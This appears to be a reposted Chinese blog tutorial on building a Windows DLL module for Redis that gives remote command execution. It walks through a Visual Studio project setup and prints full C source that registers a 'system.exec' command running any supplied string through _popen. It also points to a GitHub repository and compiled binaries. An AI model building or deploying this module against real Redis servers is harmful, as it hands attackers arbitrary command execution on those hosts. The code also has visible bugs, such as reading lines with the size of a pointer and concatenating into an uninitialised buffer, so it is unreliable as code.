编译 Windows 下的 Redis RCE 模块(DLL)
最开始 GitHub 上都是 Linux 的利用,没有 Windows 的,现在不知道有没有。
新建一个 C++工程。
选择 Windows 桌面向导

如上图
然后输入项目名。

选择动态链接库

勾选空项目。

添加头文件,现有项。
将redismodule.h添加进去。

然后新建一个源文件。
源文件,添加,新建项

名字:dllmain.c不是.cpp 是.c

然后输入下面内容:
复制
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "redismodule.h" #include <stdio.h> __declspec(dllexport) int RedisModule_OnLoad(RedisModuleCtx* ctx, RedisModuleString** argv, int argc); int DoCommand(RedisModuleCtx* ctx, RedisModuleString** argv, int argc) { if (argc == 2) { size_t cmd_len; size_t size = 1024; char* cmd = RedisModule_StringPtrLen(argv[1], &cmd_len); FILE* fp = _popen(cmd, "r"); char* buf, * output; buf = (char*)malloc(size); output = (char*)malloc(size); while (fgets(buf, sizeof(buf), fp) != 0) { if (strlen(buf) + strlen(output) >= size) { output = realloc(output, size << 2); size <<= 1; } strcat_s(output, size, buf); } RedisModuleString* ret = RedisModule_CreateString(ctx, output, strlen(output)); RedisModule_ReplyWithString(ctx, ret); _pclose(fp); } else { return RedisModule_WrongArity(ctx); } return REDISMODULE_OK; } int RedisModule_OnLoad(RedisModuleCtx* ctx, RedisModuleString** argv, int argc) { if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, "system.exec", DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; return REDISMODULE_OK; }
右键项目,属性。

选择 release,配置属性,C/C++,预编译头,选择不使用预编译头,保存。

右键项目,生成。


生成完毕,下面测试。

正常载入,命令正常。
已编译的 DLL 与 redismodule.h 见附件。
参考:
https://cloud.tencent.com/developer/article/1781255
https://djhons.com/2021/10/29/61.html
https://github.com/djhons/redis_rce/
原文地址
Windows 下编译 RedisRCE 模块(DLL)@墨雪飘影
https://wiki.shikangsi.com/post/3676/
大佬是真能折腾